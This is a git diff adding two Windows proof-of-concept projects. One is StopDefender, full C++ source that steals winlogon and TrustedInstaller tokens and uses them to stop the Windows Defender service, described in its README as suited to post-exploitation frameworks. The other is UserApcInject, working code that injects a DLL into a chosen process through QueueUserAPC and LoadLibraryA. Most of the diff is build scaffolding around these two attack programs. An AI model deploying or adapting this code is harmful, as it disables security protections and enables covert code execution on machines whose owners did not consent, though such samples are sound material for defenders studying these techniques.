b/Win32/Proof of Concepts/StopDefender/.gitignore @@ -0,0 +1,242 @@ +## Ignore Visual Studio temporary files, build results, and +## files generated by popular Visual Studio add-ons. + +# User-specific files +*.suo +*.user +*.userosscache +*.sln.docstates + +# User-specific files (MonoDevelop/Xamarin Studio) +*.userprefs + +# Build results +[Dd]ebug/ +[Dd]ebugPublic/ +[Rr]elease/ +[Rr]eleases/ +[Xx]64/ +[Xx]86/ +[Bb]uild/ +bld/ +[Bb]in/ +[Oo]bj/ + +# Visual Studio 2015 cache/options directory +.vs/ +# Uncomment if you have tasks that create the project's static files in wwwroot +#wwwroot/ + +# MSTest test Results +[Tt]est[Rr]esult*/ +[Bb]uild[Ll]og.* + +# NUNIT +*.VisualState.xml +TestResult.xml + +# Build Results of an ATL Project +[Dd]ebugPS/ +[Rr]eleasePS/ +dlldata.c + +# DNX +project.lock.json +artifacts/ + +*_i.c +*_p.c +*_i.h +*.ilk +*.meta +*.obj +*.pch +*.pdb +*.pgc +*.pgd +*.rsp +*.sbr +*.tlb +*.tli +*.tlh +*.tmp +*.tmp_proj +*.log +*.vspscc +*.vssscc +.builds +*.pidb +*.svclog +*.scc + +# Chutzpah Test files +_Chutzpah* + +# Visual C++ cache files +ipch/ +*.aps +*.ncb +*.opendb +*.opensdf +*.sdf +*.cachefile +*.VC.db + +# Visual Studio profiler +*.psess +*.vsp +*.vspx +*.sap + +# TFS 2012 Local Workspace +$tf/ + +# Guidance Automation Toolkit +*.gpState + +# ReSharper is a .NET coding add-in +_ReSharper*/ +*.[Rr]e[Ss]harper +*.DotSettings.user + +# JustCode is a .NET coding add-in +.JustCode + +# TeamCity is a build add-in +_TeamCity* + +# DotCover is a Code Coverage Tool +*.dotCover + +# NCrunch +_NCrunch_* +.*crunch*.local.xml +nCrunchTemp_* + +# MightyMoose +*.mm.* +AutoTest.Net/ + +# Web workbench (sass) +.sass-cache/ + +# Installshield output folder +[Ee]xpress/ + +# DocProject is a documentation generator add-in +DocProject/buildhelp/ +DocProject/Help/*.HxT +DocProject/Help/*.HxC +DocProject/Help/*.hhc +DocProject/Help/*.hhk +DocProject/Help/*.hhp +DocProject/Help/Html2 +DocProject/Help/html + +# Click-Once directory +publish/ + +# Publish Web Output +*.[Pp]ublish.xml +*.azurePubxml + +# TODO: Un-comment the next line if you do not want to checkin +# your web deploy settings because they may include unencrypted +# passwords +#*.pubxml +*.publishproj + +# NuGet Packages +*.nupkg +# The packages folder can be ignored because of Package Restore +**/packages/* +# except build/, which is used as an MSBuild target. +!**/packages/build/ +# Uncomment if necessary however generally it will be regenerated when needed +#!**/packages/repositories.config +# NuGet v3's project.json files produces more ignoreable files +*.nuget.props +*.nuget.targets + +# Microsoft Azure Build Output +csx/ +*.build.csdef + +# Microsoft Azure Emulator +ecf/ +rcf/ + +# Windows Store app package directory +AppPackages/ +BundleArtifacts/ + +# Visual Studio cache files +# files ending in .cache can be ignored +*.[Cc]ache +# but keep track of directories ending in .cache +!*.[Cc]ache/ + +# Others +ClientBin/ +[Ss]tyle[Cc]op.* +~$* +*~ +*.dbmdl +*.dbproj.schemaview +*.pfx +*.publishsettings +node_modules/ +orleans.codegen.cs + +# RIA/Silverlight projects +Generated_Code/ + +# Backup & report files from converting an old project file +# to a newer Visual Studio version. Backup files are not needed, +# because we have git ;-) +_UpgradeReport_Files/ +Backup*/ +UpgradeLog*.XML +UpgradeLog*.htm + +# SQL Server files +*.mdf +*.ldf + +# Business Intelligence projects +*.rdl.data +*.bim.layout +*.bim_*.settings + +# Microsoft Fakes +FakesAssemblies/ + +# GhostDoc plugin setting file +*.GhostDoc.xml + +# Node.js Tools for Visual Studio +.ntvs_analysis.dat + +# Visual Studio 6 build log +*.plg + +# Visual Studio 6 workspace options file +*.opt + +# Visual Studio LightSwitch build output +**/*.HTMLClient/GeneratedArtifacts +**/*.DesktopClient/GeneratedArtifacts +**/*.DesktopClient/ModelManifest.xml +**/*.Server/GeneratedArtifacts +**/*.Server/ModelManifest.xml +_Pvt_Extensions + +# LightSwitch generated files +GeneratedArtifacts/ +ModelManifest.xml + +# Paket dependency manager +.paket/paket.exe + +# FAKE - F# Make +.fake/ diff --git a/Win32/Proof of Concepts/StopDefender/Img/TI.png b/Win32/Proof of Concepts/StopDefender/Img/TI.png new file mode 100644 index 00000000..a30192c4 Binary files /dev/null and b/Win32/Proof of Concepts/StopDefender/Img/TI.png differ diff --git a/Win32/Proof of Concepts/StopDefender/Img/TIexec.png b/Win32/Proof of Concepts/StopDefender/Img/TIexec.png new file mode 100644 index 00000000..40f5ebbf Binary files /dev/null and b/Win32/Proof of Concepts/StopDefender/Img/TIexec.png differ diff --git a/Win32/Proof of Concepts/StopDefender/README.md b/Win32/Proof of Concepts/StopDefender/README.md new file mode 100644 index 00000000..468733f8 --- /dev/null +++ b/Win32/Proof of Concepts/StopDefender/README.md @@ -0,0 +1,19 @@ +# StopDefender +Stop Windows Defender programmatically using Steal token from TrustedInstaller and winlogon processes. + +![](Img/TI.png) + +One button stop action, no need for supply commandline options nor pid. Usefull for integration with Post Explotation frameworks. + +![](Img/TIexec.png) + +# Blogpost +https://www.securityartwork.es/2021/09/27/trustedinstaller-parando-windows-defender/ + +# Credits +* https://github.com/slyd0g/PrimaryTokenTheft +* https://posts.specterops.io/understanding-and-defending-against-access-token-theft-finding-alternatives-to-winlogon-exe-80696c8a73b +* https://www.tiraniddo.dev/2017/08/the-art-of-becoming-trustedinstaller.html +* https://docs.microsoft.com/en-us/windows/win32/com/impersonation-levels +* https://halove23.blogspot.com/2021/08/executing-code-in-context-of-trusted.html +* https://docs.microsoft.com/es-es/windows/win32/api/winsvc/ns-winsvc-service_sid_info?redirectedfrom=MSDN diff --git a/Win32/Proof of Concepts/StopDefender/StopDefender.sln b/Win32/Proof of Concepts/StopDefender/StopDefender.sln new file mode 100644 index 00000000..cc626536 --- /dev/null +++ b/Win32/Proof of Concepts/StopDefender/StopDefender.sln @@ -0,0 +1,28 @@ + +Microsoft Visual Studio Solution File, Format Version 12.00 +# Visual Studio 14 +VisualStudioVersion = 14.0.25420.1 +MinimumVisualStudioVersion = 10.0.40219.1 +Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "StopDefender", "StopDefender\StopDefender.vcxproj", "{081FD037-C08F-421D-B9F1-DA99AC467715}" +EndProject +Global + GlobalSection(SolutionConfigurationPlatforms) = preSolution + Debug|x64 = Debug|x64 + Debug|x86 = Debug|x86 + Release|x64 = Release|x64 + Release|x86 = Release|x86 + EndGlobalSection + GlobalSection(ProjectConfigurationPlatforms) = postSolution + {081FD037-C08F-421D-B9F1-DA99AC467715}.Debug|x64.ActiveCfg = Debug|x64 + {081FD037-C08F-421D-B9F1-DA99AC467715}.Debug|x64.Build.0 = Debug|x64 + {081FD037-C08F-421D-B9F1-DA99AC467715}.Debug|x86.ActiveCfg = Debug|Win32 + {081FD037-C08F-421D-B9F1-DA99AC467715}.Debug|x86.Build.0 = Debug|Win32 + {081FD037-C08F-421D-B9F1-DA99AC467715}.Release|x64.ActiveCfg = Release|x64 + {081FD037-C08F-421D-B9F1-DA99AC467715}.Release|x64.Build.0 = Release|x64 + {081FD037-C08F-421D-B9F1-DA99AC467715}.Release|x86.ActiveCfg = Release|Win32 + {081FD037-C08F-421D-B9F1-DA99AC467715}.Release|x86.Build.0 = Release|Win32 + EndGlobalSection + GlobalSection(SolutionProperties) = preSolution + HideSolutionNode = FALSE + EndGlobalSection +EndGlobal diff --git a/Win32/Proof of Concepts/StopDefender/StopDefender/StopDefender.cpp b/Win32/Proof of Concepts/StopDefender/StopDefender/StopDefender.cpp new file mode 100644 index 00000000..9d457665 --- /dev/null +++ b/Win32/Proof of Concepts/StopDefender/StopDefender/StopDefender.cpp @@ -0,0 +1,325 @@ +#include "stdafx.h" +#include +#include +#include +#include +#include + + + +BOOL SetPrivilege( + HANDLE hToken, // access token handle + LPCTSTR lpszPrivilege, // name of privilege to enable/disable + BOOL bEnablePrivilege // to enable or disable privilege +) +{ + TOKEN_PRIVILEGES tp; + LUID luid; + + if (!LookupPrivilegeValue( + NULL, // lookup privilege on local system + lpszPrivilege, // privilege to lookup + &luid)) // receives LUID of privilege + { + printf("[-] LookupPrivilegeValue error: %u\n", GetLastError()); + return FALSE; + } + + tp.PrivilegeCount = 1; + tp.Privileges[0].Luid = luid; + if (bEnablePrivilege) + tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; + else + tp.Privileges[0].Attributes = 0; + + // Enable the privilege or disable all privileges. + + if (!AdjustTokenPrivileges( + hToken, + FALSE, + &tp, + sizeof(TOKEN_PRIVILEGES), + (PTOKEN_PRIVILEGES)NULL, + (PDWORD)NULL)) + { + printf("[-] AdjustTokenPrivileges error: %u\n", GetLastError()); + return FALSE; + } + + if (GetLastError() == ERROR_NOT_ALL_ASSIGNED) + + { + printf("[-] The token does not have the specified privilege. \n"); + return FALSE; + } + + return TRUE; +} + +std::string get_username() +{ + TCHAR username[UNLEN + 1]; + DWORD username_len = UNLEN + 1; + GetUserName(username, &username_len); + std::wstring username_w(username); + std::string username_s(username_w.begin(), username_w.end()); + return username_s; +} + +BOOL StopDefenderService() { + SERVICE_STATUS_PROCESS ssp; + + SC_HANDLE schSCManager = OpenSCManager( + NULL, // local computer + NULL, // ServicesActive database + SC_MANAGER_ALL_ACCESS); // full access rights + + if (NULL == schSCManager) + { + printf("[-] OpenSCManager failed (%d)\n", GetLastError()); + return FALSE; + } + + printf("[+] OpenSCManager success!\n"); + + SC_HANDLE schService = OpenService( + schSCManager, // SCM database + L"WinDefend", // name of service + SERVICE_STOP | + SERVICE_QUERY_STATUS | + SERVICE_ENUMERATE_DEPENDENTS); + + if (schService == NULL) + { + printf("[-] OpenService failed (%d)\n", GetLastError()); + CloseServiceHandle(schSCManager); + return FALSE; + } + printf("[+] OpenService success!\n"); + + //Stopping service + + if (!ControlService( + schService, + SERVICE_CONTROL_STOP, + (LPSERVICE_STATUS)&ssp)) + { + printf("[-] ControlService failed (%d)\n", GetLastError()); + CloseServiceHandle(schService); + CloseServiceHandle(schSCManager); + return FALSE; + } + +} + +BOOL StartTrustedInstallerService() { + // Get a handle to the SCM database. + + SC_HANDLE schSCManager = OpenSCManager( + NULL, // local computer + NULL, // servicesActive database + SC_MANAGER_ALL_ACCESS); // full access rights + + if (NULL == schSCManager) + { + printf("[-] OpenSCManager failed (%d)\n", GetLastError()); + return FALSE; + } + printf("[+] OpenSCManager success!\n"); + + // Get a handle to the service. + + SC_HANDLE schService = OpenService( + schSCManager, // SCM database + L"TrustedInstaller", // name of service + SERVICE_START); // full access + + if (schService == NULL) + { + printf("[-] OpenService failed (%d)\n", GetLastError()); + CloseServiceHandle(schSCManager); + return FALSE; + } + + // Attempt to start the service. + + if (!StartService( + schService, // handle to service + 0, // number of arguments + NULL)) // no arguments + { + printf("[-] StartService failed (%d)\n", GetLastError()); + CloseServiceHandle(schService); + CloseServiceHandle(schSCManager); + return FALSE; + } + + Sleep(2000); + CloseServiceHandle(schService); + CloseServiceHandle(schSCManager); + + return TRUE; +} + +int GetProcessByName(PCWSTR name) +{ + DWORD pid = 0; + + // Create toolhelp snapshot. + HANDLE snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0); + PROCESSENTRY32 process; + ZeroMemory(&process, sizeof(process)); + process.dwSize = sizeof(process); + + // Walkthrough all processes. + if (Process32First(snapshot, &process)) + { + do + { + // Compare process.szExeFile based on format of name, i.e., trim file path + // trim .exe if necessary, etc. + if (wcscmp(process.szExeFile, name) == 0) + { + return process.th32ProcessID; + } + } while (Process32Next(snapshot, &process)); + } + + CloseHandle(snapshot); + + return NULL; +} + +int main(int argc, char** argv) { + + // Initialize variables and structures + HANDLE tokenHandle = NULL; + HANDLE duplicateTokenHandle = NULL; + STARTUPINFO startupInfo; + PROCESS_INFORMATION processInformation; + ZeroMemory(&startupInfo, sizeof(STARTUPINFO)); + ZeroMemory(&processInformation, sizeof(PROCESS_INFORMATION)); + startupInfo.cb = sizeof(STARTUPINFO); + + + // Add SE debug privilege + HANDLE currentTokenHandle = NULL; + BOOL getCurrentToken = OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES, ¤tTokenHandle); + if (SetPrivilege(currentTokenHandle, L"SeDebugPrivilege", TRUE)) + { + printf("[+] SeDebugPrivilege enabled!\n"); + } + + + // Starting TI service from SC Manager + if (StartTrustedInstallerService()) + printf("[+] TrustedInstaller Service Started!\n"); + else { + exit (1); + } + + // Print whoami to compare to thread later + printf("[+] Current user is: %s\n", (get_username()).c_str()); + + // Searching for Winlogon PID + DWORD PID_TO_IMPERSONATE = GetProcessByName(L"winlogon.exe"); + + if (PID_TO_IMPERSONATE == NULL) { + printf("[-] Winlogon process not found\n"); + exit(1); + }else + printf("[+] Winlogon process found!\n"); + + // Searching for TrustedInstaller PID + DWORD PID_TO_IMPERSONATE_TI = GetProcessByName(L"TrustedInstaller.exe"); + + if (PID_TO_IMPERSONATE_TI == NULL) { + printf("[-] TrustedInstaller process not found\n"); + exit(1); + } + else + printf("[+] TrustedInstaller process found!\n"); + + // Call OpenProcess() to open WINLOGON, print return code and error code + HANDLE processHandle = OpenProcess(PROCESS_QUERY_INFORMATION, true, PID_TO_IMPERSONATE); + if (GetLastError() == NULL) + printf("[+] WINLOGON OpenProcess() success!\n"); + else + { + printf("[-] WINLOGON OpenProcess() Return Code: %i\n", processHandle); + printf("[-] WINLOGON OpenProcess() Error: %i\n", GetLastError()); + } + + // Call OpenProcessToken(), print return code and error code + BOOL getToken = OpenProcessToken(processHandle, TOKEN_DUPLICATE | TOKEN_ASSIGN_PRIMARY | TOKEN_QUERY, &tokenHandle); + if (GetLastError() == NULL) + printf("[+] WINLOGON OpenProcessToken() success!\n"); + else + { + printf("[-] WINLOGON OpenProcessToken() Return Code: %i\n", getToken); + printf("[-] WINLOGON OpenProcessToken() Error: %i\n", GetLastError()); + } + + // Impersonate user in a thread + BOOL impersonateUser = ImpersonateLoggedOnUser(tokenHandle); + if (GetLastError() == NULL) + { + printf("[+] WINLOGON ImpersonatedLoggedOnUser() success!\n"); + printf("[+] WINLOGON Current user is: %s\n", (get_username()).c_str()); + } + else + { + printf("[-] WINLOGON ImpersonatedLoggedOnUser() Return Code: %i\n", getToken); + printf("[-] WINLOGON ImpersonatedLoggedOnUser() Error: %i\n", GetLastError()); + } + + // Closing not necessary handles + + CloseHandle(processHandle); + CloseHandle(tokenHandle); + + + // Call OpenProcess() to open TRUSTEDINSTALLER, print return code and error code + processHandle = OpenProcess(PROCESS_QUERY_INFORMATION, true, PID_TO_IMPERSONATE_TI); + if (GetLastError() == NULL) + printf("[+] TRUSTEDINSTALLER OpenProcess() success!\n"); + else + { + printf("[-] TRUSTEDINSTALLER OpenProcess() Return Code: %i\n", processHandle); + printf("[-] TRUSTEDINSTALLER OpenProcess() Error: %i\n", GetLastError()); + } + + // Call OpenProcessToken(), print return code and error code + getToken = OpenProcessToken(processHandle, TOKEN_DUPLICATE | TOKEN_ASSIGN_PRIMARY | TOKEN_QUERY, &tokenHandle); + if (GetLastError() == NULL) + printf("[+] TRUSTEDINSTALLER OpenProcessToken() success!\n"); + else + { + printf("[-] TRUSTEDINSTALLER OpenProcessToken() Return Code: %i\n", getToken); + printf("[-] TRUSTEDINSTALLER OpenProcessToken() Error: %i\n", GetLastError()); + } + + // Impersonate user in a thread + impersonateUser = ImpersonateLoggedOnUser(tokenHandle); + if (GetLastError() == NULL) + { + printf("[+] TRUSTEDINSTALLER ImpersonatedLoggedOnUser() success!\n"); + printf("[+] Current user is: %s\n", (get_username()).c_str()); + } + else + { + printf("[-] TRUSTEDINSTALLER ImpersonatedLoggedOnUser() Return Code: %i\n", getToken); + printf("[-] TRUSTEDINSTALLER ImpersonatedLoggedOnUser() Error: %i\n", GetLastError()); + } + + + if (StopDefenderService()) { + printf("[+] TRUSTEDINSTALLER StopDefenderService() success!\n"); + } + else { + printf("[-] TRUSTEDINSTALLER StopDefenderService() Error: %i\n", GetLastError()); + } + + getchar(); + return 0; +} \ No newline at end of file diff --git a/Win32/Proof of Concepts/StopDefender/StopDefender/StopDefender.filters b/Win32/Proof of Concepts/StopDefender/StopDefender/StopDefender.filters new file mode 100644 index 00000000..51355a1f --- /dev/null +++ b/Win32/Proof of Concepts/StopDefender/StopDefender/StopDefender.filters @@ -0,0 +1,36 @@ + + + + + {4FC737F1-C7A5-4376-A066-2A32D752A2FF} + cpp;c;cc;cxx;def;odl;idl;hpj;bat;asm;asmx + + + {93995380-89BD-4b04-88EB-625FBE52EBFB} + h;hh;hpp;hxx;hm;inl;inc;xsd + + + {67DA6AB6-F800-4c08-8B7A-83BB121AAD01} + rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms + + + + + + + + Archivos de encabezado + + + Archivos de encabezado + + + + + Archivos de cĂłdigo fuente + + + Archivos de cĂłdigo fuente + + + \ No newline at end of file diff --git a/Win32/Proof of Concepts/StopDefender/StopDefender/StopDefender.vcxproj b/Win32/Proof of Concepts/StopDefender/StopDefender/StopDefender.vcxproj new file mode 100644 index 00000000..100a1885 --- /dev/null +++ b/Win32/Proof of Concepts/StopDefender/StopDefender/StopDefender.vcxproj @@ -0,0 +1,164 @@ + + + + + Debug + Win32 + + + Release + Win32 + + + Debug + x64 + + + Release + x64 + + + + {081FD037-C08F-421D-B9F1-DA99AC467715} + Win32Proj + StopDefender + 10.0 + + + + Application + true + v142 + Unicode + + + Application + false + v142 + true + Unicode + + + Application + true + v142 + Unicode + + + Application + false + v142 + true + Unicode + + + + + + + + + + + + + + + + + + + + + true + + + true + + + false + + + false + + + + Use + Level3 + Disabled + WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions) + true + MultiThreaded + + + Console + true + + + + + Use + Level3 + Disabled + _DEBUG;_CONSOLE;%(PreprocessorDefinitions) + true + MultiThreaded + + + Console + true + + + + + Level3 + Use + MaxSpeed + true + true + WIN32;NDEBUG;_CONSOLE;%(PreprocessorDefinitions) + true + MultiThreaded + + + Console + true + true + true + + + + + Level3 + Use + MaxSpeed + true + true + NDEBUG;_CONSOLE;%(PreprocessorDefinitions) + true + MultiThreaded + + + Console + true + true + true + + + + + + + + + Create + Create + Create + Create + + + + + + + \ No newline at end of file diff --git a/Win32/Proof of Concepts/StopDefender/StopDefender/StopDefender.vcxproj.filters b/Win32/Proof of Concepts/StopDefender/StopDefender/StopDefender.vcxproj.filters new file mode 100644 index 00000000..4ebf2837 --- /dev/null +++ b/Win32/Proof of Concepts/StopDefender/StopDefender/StopDefender.vcxproj.filters @@ -0,0 +1,11 @@ + + + + + + + + + + + \ No newline at end of file diff --git a/Win32/Proof of Concepts/StopDefender/StopDefender/stdafx.cpp b/Win32/Proof of Concepts/StopDefender/StopDefender/stdafx.cpp new file mode 100644 index 00000000..cbfcb82f --- /dev/null +++ b/Win32/Proof of Concepts/StopDefender/StopDefender/stdafx.cpp @@ -0,0 +1,8 @@ +// stdafx.cpp: archivo de código fuente que contiene sólo las inclusiones estándar +// stealToken.pch será el encabezado precompilado +// stdafx.obj contiene la información de tipos precompilada + +#include "stdafx.h" + +// TODO: mencionar los encabezados adicionales que se necesitan en STDAFX.H +// pero no en este archivo diff --git a/Win32/Proof of Concepts/StopDefender/StopDefender/stdafx.h b/Win32/Proof of Concepts/StopDefender/StopDefender/stdafx.h new file mode 100644 index 00000000..02a9e28e --- /dev/null +++ b/Win32/Proof of Concepts/StopDefender/StopDefender/stdafx.h @@ -0,0 +1,15 @@ +// stdafx.h: archivo de inclusión de los archivos de inclusión estándar del sistema +// o archivos de inclusión específicos de un proyecto utilizados frecuentemente, +// pero rara vez modificados +// + +#pragma once + +#include "targetver.h" + +#include +#include + + + +// TODO: mencionar aquí los encabezados adicionales que el programa necesita diff --git a/Win32/Proof of Concepts/StopDefender/StopDefender/targetver.h b/Win32/Proof of Concepts/StopDefender/StopDefender/targetver.h new file mode 100644 index 00000000..a5db48ee --- /dev/null +++ b/Win32/Proof of Concepts/StopDefender/StopDefender/targetver.h @@ -0,0 +1,8 @@ +#pragma once + +// La inclusión de SDKDDKVer.h define la plataforma Windows más alta disponible. + +// Si desea compilar la aplicación para una plataforma Windows anterior, incluya WinSDKVer.h y +// establezca la macro _WIN32_WINNT en la plataforma que desea admitir antes de incluir SDKDDKVer.h. + +#include diff --git a/Win32/Proof of Concepts/UserApcInject/ReadMe.txt b/Win32/Proof of Concepts/UserApcInject/ReadMe.txt new file mode 100644 index 00000000..ff7bc849 --- /dev/null +++ b/Win32/Proof of Concepts/UserApcInject/ReadMe.txt @@ -0,0 +1 @@ +Inject By User APC \ No newline at end of file diff --git a/Win32/Proof of Concepts/UserApcInject/UserAPC.sln b/Win32/Proof of Concepts/UserApcInject/UserAPC.sln new file mode 100644 index 00000000..3ff22171 --- /dev/null +++ b/Win32/Proof of Concepts/UserApcInject/UserAPC.sln @@ -0,0 +1,26 @@ + +Microsoft Visual Studio Solution File, Format Version 11.00 +# Visual Studio 2010 +Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "UserAPC", "UserAPC\UserAPC.vcxproj", "{5B25B230-6B8A-492F-BB1A-89B498F2172E}" +EndProject +Global + GlobalSection(SolutionConfigurationPlatforms) = preSolution + Debug|Win32 = Debug|Win32 + Debug|x64 = Debug|x64 + Release|Win32 = Release|Win32 + Release|x64 = Release|x64 + EndGlobalSection + GlobalSection(ProjectConfigurationPlatforms) = postSolution + {5B25B230-6B8A-492F-BB1A-89B498F2172E}.Debug|Win32.ActiveCfg = Debug|Win32 + {5B25B230-6B8A-492F-BB1A-89B498F2172E}.Debug|Win32.Build.0 = Debug|Win32 + {5B25B230-6B8A-492F-BB1A-89B498F2172E}.Debug|x64.ActiveCfg = Debug|x64 + {5B25B230-6B8A-492F-BB1A-89B498F2172E}.Debug|x64.Build.0 = Debug|x64 + {5B25B230-6B8A-492F-BB1A-89B498F2172E}.Release|Win32.ActiveCfg = Release|Win32 + {5B25B230-6B8A-492F-BB1A-89B498F2172E}.Release|Win32.Build.0 = Release|Win32 + {5B25B230-6B8A-492F-BB1A-89B498F2172E}.Release|x64.ActiveCfg = Release|x64 + {5B25B230-6B8A-492F-BB1A-89B498F2172E}.Release|x64.Build.0 = Release|x64 + EndGlobalSection + GlobalSection(SolutionProperties) = preSolution + HideSolutionNode = FALSE + EndGlobalSection +EndGlobal diff --git a/Win32/Proof of Concepts/UserApcInject/UserAPC/Resource.h b/Win32/Proof of Concepts/UserApcInject/UserAPC/Resource.h new file mode 100644 index 00000000..46a211d0 --- /dev/null +++ b/Win32/Proof of Concepts/UserApcInject/UserAPC/Resource.h @@ -0,0 +1,17 @@ +//{{NO_DEPENDENCIES}} +// Microsoft Visual C++ generated include file. +// Used by APC.rc +// + +#define IDS_APP_TITLE 103 + +// жÔĎóµÄĎÂŇ»×éĬČĎÖµ +// +#ifdef APSTUDIO_INVOKED +#ifndef APSTUDIO_READONLY_SYMBOLS +#define _APS_NEXT_RESOURCE_VALUE 101 +#define _APS_NEXT_COMMAND_VALUE 40001 +#define _APS_NEXT_CONTROL_VALUE 1000 +#define _APS_NEXT_SYMED_VALUE 101 +#endif +#endif diff --git a/Win32/Proof of Concepts/UserApcInject/UserAPC/UserAPC.cpp b/Win32/Proof of Concepts/UserApcInject/UserAPC/UserAPC.cpp new file mode 100644 index 00000000..a1d61be1 --- /dev/null +++ b/Win32/Proof of Concepts/UserApcInject/UserAPC/UserAPC.cpp @@ -0,0 +1,138 @@ +/************************************************************************ + * + * 1Ł©µ±EXEŔďÄł¸öĎßłĚÖ´Đе˝SleepEx()»ňŐßWaitForSingleObjectEx()ʱŁ¬ĎµÍłľÍ»á˛úÉúŇ»¸öČíÖжϡŁ + * 2Ł©µ±ĎßłĚÔٴα»»˝ĐŃʱŁ¬´ËĎ̻߳áĘ×ĎČÖ´ĐĐAPC¶ÓÁĐÖеı»×˘˛áµÄşŻĘýˇŁ + * 3Ł©ŔűÓĂQueueUserAPC()Őâ¸öAPIżÉŇÔÔÚČíÖжĎʱĎňĎ̵߳ÄAPC¶ÓÁвĺČëŇ»¸öşŻĘýÖ¸Őë + * ČçąűÎŇĂDzĺČëµÄĘÇLoadlibrary()Ö´ĐĐşŻĘýµÄ»°Ł¬ľÍÄܴﵽעČëDLLµÄÄżµÄˇŁ + * 4) ĎßłĚÓиöżÉĚáĐŃ״̬Ł¬ČçąűÎŞFALSEŁ¬Ôň˛»»áµ÷ÓĂÓĂ»§APC¶ÓÁĐ +*************************************************************************/ +#include "stdafx.h" +#include "UserAPC.h" + +#include +#include + +#include +#include +using namespace std; + +#define DEF_BUF_SIZE 1024 +BOOL AdjustPrivilege(); +BOOL InjectModuleToProcessById(DWORD dwProcessId); +// ÓĂÓڴ洢עČëÄŁżéDLLµÄ·ľ¶Č«Ăű +char szDllPath[DEF_BUF_SIZE] = {0} ; + + +int _tmain(int argc, _TCHAR* argv[]) +{ + // ȡµĂµ±Ç°ą¤×÷Ŀ¼·ľ¶ + GetCurrentDirectoryA(DEF_BUF_SIZE, szDllPath); + + // ÉúłÉעČëÄŁżéDLLµÄ·ľ¶Č«Ăű +#ifdef _WIN64 + strcat ( szDllPath, "\\Dllx64.dll" ) ; +#else + strcat ( szDllPath, "\\Dllx86.dll" ) ; +#endif + + DWORD dwProcessId = 0 ; + // ˝ÓĘŐÓĂ»§ĘäČëµÄÄż±ę˝řłĚID + while( cout << "ÇëĘäČëÄż±ę˝řłĚIDŁş" && cin >> dwProcessId && dwProcessId > 0 ) + { + BOOL bRet = InjectModuleToProcessById(dwProcessId); + cout << (bRet ? "עČëłÉą¦":"עČëʧ°Ü") << endl ; + } + return 0; +} + + + +// ĘąÓĂAPC»úÖĆĎňÖ¸¶¨IDµÄ˝řłĚעČëÄŁżé +BOOL InjectModuleToProcessById(DWORD dwProcessId) +{ + SIZE_T dwRet = 0; + BOOL bStatus = FALSE ; + LPVOID lpData = NULL ; + UINT uLen = strlen(szDllPath) + 1; + + AdjustPrivilege(); // + + // ´ňżŞÄż±ę˝řłĚ + HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwProcessId); + if(hProcess) + { + // ·ÖĹäżŐĽä + lpData = VirtualAllocEx ( hProcess, NULL, uLen, MEM_COMMIT, PAGE_EXECUTE_READWRITE); + if ( lpData ) + { + // Đ´ČëĐčҪעČëµÄÄŁżé·ľ¶Č«Ăű + bStatus = WriteProcessMemory(hProcess, lpData, szDllPath, uLen, (SIZE_T*)(&dwRet)); + } + CloseHandle(hProcess); + } + + if (bStatus == FALSE) + return FALSE ; + + // ´´˝¨Ď߳̿ěŐŐ + THREADENTRY32 te32 = { sizeof(THREADENTRY32) }; + HANDLE hThreadSnap = CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, 0); + if(hThreadSnap == INVALID_HANDLE_VALUE) + return FALSE ; + + bStatus = FALSE ; + // öľŮËůÓĐĎßłĚ + if(Thread32First(hThreadSnap, &te32)) + { + do{ + // ĹжĎĘÇ·ńÄż±ę˝řłĚÖеÄĎßłĚ + if(te32.th32OwnerProcessID == dwProcessId) + { + // ´ňżŞĎßłĚ + HANDLE hThread = OpenThread(THREAD_ALL_ACCESS, FALSE, te32.th32ThreadID); + if ( hThread ) + { + // ĎňÖ¸¶¨ĎßłĚĚíĽÓAPC + DWORD dwRet1 = QueueUserAPC((PAPCFUNC)LoadLibraryA, hThread, (ULONG_PTR)lpData); + if ( dwRet1 > 0 ) + { + bStatus = TRUE ; + } + CloseHandle(hThread); + } + } + }while(Thread32Next ( hThreadSnap, &te32)); + } + + CloseHandle(hThreadSnap); + return bStatus; +} + + +BOOL AdjustPrivilege() +{ + HANDLE hToken; + TOKEN_PRIVILEGES pTP; + LUID uID; + if (!OpenProcessToken(GetCurrentProcess(), + TOKEN_ADJUST_PRIVILEGES|TOKEN_QUERY,&hToken)) + { + printf("OpenProcessToken is Error\n"); + return false; + } + if (!LookupPrivilegeValue(NULL,SE_DEBUG_NAME,&uID)) //µ÷Ę˝ + { + printf("LookupPrivilegeValue is Error\n"); + return false; + } + pTP.PrivilegeCount = 1; + pTP.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; + pTP.Privileges[0].Luid = uID; + //ÔÚŐâŔďÎŇĂÇ˝řĐе÷ŐűȨĎŢ + if (!AdjustTokenPrivileges(hToken,false,&pTP,sizeof(TOKEN_PRIVILEGES),NULL,NULL)) + { + printf("AdjuestTokenPrivileges is Error\n"); + return false; + } + return true; +} diff --git a/Win32/Proof of Concepts/UserApcInject/UserAPC/UserAPC.h b/Win32/Proof of Concepts/UserApcInject/UserAPC/UserAPC.h new file mode 100644 index 00000000..d00d47e7 --- /dev/null +++ b/Win32/Proof of Concepts/UserApcInject/UserAPC/UserAPC.h @@ -0,0 +1,3 @@ +#pragma once + +#include "resource.h" diff --git a/Win32/Proof of Concepts/UserApcInject/UserAPC/UserAPC.rc b/Win32/Proof of Concepts/UserApcInject/UserAPC/UserAPC.rc new file mode 100644 index 00000000..cf709098 Binary files /dev/null and b/Win32/Proof of Concepts/UserApcInject/UserAPC/UserAPC.rc differ diff --git a/Win32/Proof of Concepts/UserApcInject/UserAPC/UserAPC.vcxproj b/Win32/Proof of Concepts/UserApcInject/UserAPC/UserAPC.vcxproj new file mode 100644 index 00000000..d2a7f6cb --- /dev/null +++ b/Win32/Proof of Concepts/UserApcInject/UserAPC/UserAPC.vcxproj @@ -0,0 +1,161 @@ + + + + + Debug + Win32 + + + Debug + x64 + + + Release + Win32 + + + Release + x64 + + + + {5B25B230-6B8A-492F-BB1A-89B498F2172E} + Win32Proj + 